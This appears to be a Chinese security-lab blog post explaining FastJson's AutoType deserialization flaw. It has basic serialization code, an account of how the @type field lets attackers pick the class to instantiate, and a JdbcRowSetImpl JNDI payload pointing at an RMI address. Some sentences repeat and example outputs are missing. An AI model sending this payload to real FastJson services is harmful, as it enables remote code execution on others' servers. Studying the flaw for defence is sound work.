本文约2915字,阅读约需8分钟。
FastJson用法
// 序列化String text = JSON.toJSONString(obj); // 反序列化VO vo = JSON.parse(); // 解析为JSONObject类型或者JSONArray类型VO vo = JSON.parseObject("{...}"); // JSON文本解析成JSONObject类型VO vo = JSON.parseObject("{...}", VO.class); // JSON文本解析成VO.class类
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
// String s = JSON.toJSONString(user);
// System.out.println(s);
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
FastJson原理
JSON.toJSONString(object,SerializerFeature.WriteClassName)
JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName,可以使得fastjson支持自省,开启自省之后序列化成JSON的数据就会多出一个@type,也就是这个参数导致了FastJson的反序列化漏洞。在对JSON数据进行反序列化的时候,会去调用指定类中的get/set/is方法。这个参数实现的功能在Fastjson中被称作AutoType,即自动类型。
=> AutoType功能开启之后,FastJson就会自动解析@type参数字段
如果不添加这个参数,我们的javaBean序列化后应该是这样:
可以看出多了一个@type参数
如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:
添加这个参数时:
可以看出多了一个@type参数
如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:
String s="{\"age\":25,\"name\":\"armbandnewpy\"}";
JSONObject jsonObject = JSON.parseObject(s);
这时候我们不能控制到底要反序列化什么类型的对象,只能开发者在代码中指定好,如这样:
而如果我们在序列化的时候添加了该参数,我们则可以在反序列化的时候,通过控制@type键的值来控制该序列化数据要被反序列化成什么样的对象,即调用什么类的set方法,接下来要用到的就是找到这样一个类可以被用来完成我们想要的功能。
如,其中一个类为com.sun.rowset.JdbcRowSetImpl
类关系图:
JSON:门面类,提供入口
DefaultJsonParser:主类
ParserConfig:配置相关类
JSONLexerBase:字符分析类
JavaBeanDeserializer:JavaBean反序列化类
FastJson利用链分析
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC",
"autoCommit":true}
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。